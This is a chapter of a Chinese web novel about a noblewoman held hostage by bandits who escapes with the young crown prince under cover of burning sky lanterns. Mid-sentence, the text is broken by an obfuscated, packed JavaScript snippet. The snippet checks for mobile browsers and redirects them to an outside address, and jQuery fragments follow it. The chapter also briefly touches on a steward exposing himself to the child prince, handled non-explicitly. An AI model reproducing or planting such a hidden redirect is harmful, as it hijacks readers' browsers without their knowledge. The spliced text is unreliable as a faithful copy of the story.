“话说,当时飞沙走石,漫天都是箭雨,我最后看了一眼江陵,转身投身到火海之中。”
苏玉顿住,悄悄瞥了一眼聚精会神的小丫头,笑嘻嘻道:“欲听后事如何——”
“停!”小丫头拍桌而起,“你说过今晚给我讲完的!”
“唉,小瑶姑娘,稍安勿躁。”苏玉摆摆手,“你那个穷凶极恶的老爹,可是磨刀霍霍等着我呢,我前脚给你讲完,后脚他就得闯进来。”
她做了一个抹脖子的动作,利索的来了一个拟声词,“咔擦。”
小瑶一摆手,“不可能,老爹答应我了,我生辰宴之前,不见血。”
苏玉挑眉,“所以女侠哪天过生辰?”
“明天。”
苏玉一点头,躺倒在床上,小瑶惊了,“喂,我都说了不杀你,快讲啊。”
“今日死和明天亡,好像并没有什么太大区别,我选择摆烂。”
小瑶再拍桌子,“你这是……这是……”
“这叫太监。”她挥手,“没错,我断更了。”
太子趴在桌子上睡得正香,被小瑶拍桌子拍醒了,拍拍着自己的小胸口,不爽道:“干嘛呀,一个劲儿的吵。”
他看看死鱼一样的苏玉,又看看河豚一样的小瑶,伸出手比了比,“谁是太监?”
苏玉懒洋洋的起身,“我是太监。”
“我不信,除非你给我看大宝贝……呜呜……”
苏玉一把捂了太子的嘴,挺好一个孩子,怎么就长了张嘴呢?
“我告诉你呀,什么都看只会害了你。”苏玉正色道:“这可不兴胡说,听懂了眨眨眼。”
太子眨眨眼,然后用力点点头。
她半信半疑的松开手,太子还是开了口,“我其实还知道,太监的大宝贝可不一样了。”
得,这孩子没救了。
苏玉叹了口气坐下,忽然想到什么,她俯下身直视太子的眼睛,声音难得的温柔下来,“殿下,是不是有人给你看过什么宝贝?”
太子眨眨眼,眼中有片刻的迷茫,缓了半晌才道:“有啊,就是周总管,他偶尔会让我看看。”
苏玉拳头有点硬,耐心道:“他这是……这是不对的,下次他要是再敢脱裤子,你就揍他知不知道?”
太子似懂非懂的点点头,认真看了半晌苏玉,忽然笑起来,“苏玉,你刚才的表情,长得好像我母妃啊~”
太子的母妃过世多年,听说当年是名动天下的第一美人,苏玉立即鼻子翘起来,起身撩撩头发,“果然,美貌就是我的原罪,前有变态皇子骚扰,后有一国太子为我痴狂——”
“不过,像她病入膏肓的时候,母妃说那是她最丑的时候。”
小瑶一愣,随即哈哈大笑起来,“果然。”
苏玉深吸一口气,掐了掐太子的脸,“后半句话可以不说,没人当你是哑巴。”
“所以,我能叫你母妃吗?咱俩以后各论各的,你叫我太子殿下,我叫你亲亲母妃。”
那她岂不是和老皇帝一个户口本上了?
这可不成。
她保持微笑,蹲下身十分耐心,“乖,你看亲亲母妃不是要四个字?不用这么麻烦,叫爸爸,比母妃更加亲近。”
小瑶疑惑:“爸爸?”
“在呢~”苏玉点头,“你喜欢也可以这么叫。”
太子却瞥了眼小瑶,冷哼一声,“凭什么,就我能叫。”
小瑶三拍桌子,“在这个土匪窝,我说了算,你个人质,自然要……”
哐当——
“小姐,小姐不好了,宁王府的世子爷杀过来,说要找他这辈子的挚爱、绝对没有人可以替代的白月光和红玫瑰、无敌亲亲小娘子、灵魂伴侣世子妃!”
苏玉:“……”
这一套小连招,怎么有点熟悉?
不过——
“你这伙计真是个人才,记忆力无敌啊。”
伙计被夸了,不好意思的挠挠头,“那倒也不是,是世子想了个高招。”
“什么高招?”她微微疑惑,却忽然嗅见一股糊味,“什么东西熟了?”
小瑶敏锐的抬头,就见房顶烧起来了,“我的妈呀,走水了!”
这种时候,苏玉总是反应十分迅速,她拉着太子冲出房间,入眼的,是漫山遍野的孔明灯。
烛火摇曳,那些孔明灯如同万家灯火,众人钩下一个又一个,地上堆满了上面祈愿的彩纸。
太子好奇,蹲下身一个一个去念,“苏玉是我这辈子的挚爱。”
“是绝对没有人可以替代的白月光、红玫瑰。”
“无敌亲亲小娘子、灵魂伴侣世子妃。”
苏玉撇撇嘴,心底唾弃他的刷分手段,却觉得和自己讲的那些狗血故事,有着异曲同工之妙。
她与江陵就是这样,虽然争斗了多年,但其实他们都知道,他们之间,有着一丝莫名的合拍。
蹲下身,她伸出手去挑那些彩纸,指尖摩擦过墨迹,她忽然想到什么,将彩纸一反转,果然有别的字迹。
“是西域文唉~”太子凑过来,饶有兴趣的看了一眼,“嗯,看不懂。”
苏玉松了口气,他看不懂就好,省得乱说话。
她扫了几眼,大致懂了什么意思,这是逃跑路线,规划的十分精细。
而眼下,如果逃跑……
她抬眼,扫见一部分土匪在忙着钩孔明灯,灯有几个漏网之鱼落在茅草屋上,燃起大火。
如果是瓦房,倒也不会这么惨,但谁让这土匪窝基础建设不是很好,大半都是茅草屋,所以这一点明火,几乎是火烧连营。
所以另一部分土匪,忙着救火。
没人再注意人质,土匪们自顾不暇了。
苏玉瞅准机会,拽起太子就向着后山跑去,树林层层叠叠,她穿梭在其中,认真的执行着他规划的路线。
“人质丢了!快找!”
“他们在那里,追!”
“站住!站住!”
太子被拽着跑的七荤八素,“爸爸,爸爸,太快了,慢一点。”
“你看后面的刀剑斧钺钩叉,你敢停吗?”她将太子拽到前面来,用力给了他几脚算做激励,“别回头,跟着我跑就是了。”
“站住!你还没给我说结局呢!你个瓜怂!”
熟悉的质问声传来,苏玉觉得真是牙酸,早知道不给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380691|168462||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她胡扯什么故事了。
转角再转弯,一片冰凉忽然砸在脸上,竟是下雨了。
她看了一眼身后的土匪,叹了口气,江陵应该是看准了今晚会下雨,才会选择的孔明灯这种明火的方式。
他只想救人,不想伤人。
眼前渐渐模糊起来,苏玉抬头打量,山间起雾了。
身后的追兵声音渐渐远去,她也来到了一处断崖前。
最后的指示到这里结束,她撒开太子,气喘吁吁躺倒在地上。
太子也累个够呛,“爸爸,我们不跑了?”
苏玉摇头,“难道跳崖吗?”
太子晃了晃头,“可是有人追上来了耶。”
苏玉:“???”
她一个鲤鱼打挺起身,就见雾气与水汽朦胧之间,走出一个人。
是小瑶。
遥遥对视,小瑶甩了甩手中的长鞭,“跳崖和跟我回去,你自己选一个。”
苏玉苦笑,“还有第三个选择吗?”
鞭风扫过,破空而来,却不是冲着苏玉,而是太子。
太子惊慌的连连后退,却依旧躲不过长鞭的锋利,然而鞭身落下,却并没有落到太子身上。
苏玉拽着鞭子,手上是火辣辣的疼,她盯着眼前的少女,“不要伤他。”
小瑶冷笑一声,“开国周太祖曾言,未来君上须有三德,文德、武德、仁德,可是如今的太子殿下,连我的一鞭都躲不过去,苏玉,你觉得他是这个国家的未来吗?”
雨水愈发急促,顺着苏玉的眉眼淌下,似是泪水一般,“是不是未来我不清楚,我是个俗人,只能看到当下眼前。
而现下的光景,我只能看到他是个人,是人,就没有理由被这样对待。”
她抽回鞭子,“那我们呢?苛政猛如虎,我们也是人,又有谁在乎?”
苏玉咬唇没有说话,因为她给不出答案。
皇宫的豪奢、皇族的荒唐她都见识过,眼下,真的张不开口了。
鞭子一抽一放之间,她手心已划开口子,血流如注。
为她纷乱的思绪,找到一点宣泄口。
“若不是没办法,谁愿意在这里做什么土匪啊。”小瑶叹了口气,“阿爹总逼着我读书,以后不要和他们一样做个莽夫。可读得越多,就越清楚,我这辈子,或许根本走不出这大山。”
她笑起来,“那些圣贤书上的道理,还没你的故事真实好听呢。”
雨幕拉开,分割出两个世界,平民与权贵,土匪与良民,追兵与逃犯。
“其实,有很多时候,我们并不对立。”苏玉伸手,试图拨开雨幕,“当然,以我现在的身份,是有些站着说话不腰疼了。”
世子妃啊,她不是劳动人民,她是这个体系下的既得利益者。
小瑶吐出一口气,“阿爹绑架太子是受人所托,那人没有要杀他的意思,但我其实并不这么想。”
她收好鞭子,“虽说生活这么烂,源头多样,但我不介意,先除掉眼前的这一个。”
长剑袭来,苏玉推开太子,接上她这一剑,“你疯了!不顾你族人的性命吗?!”
“朝证道,夕可死,我不在乎。”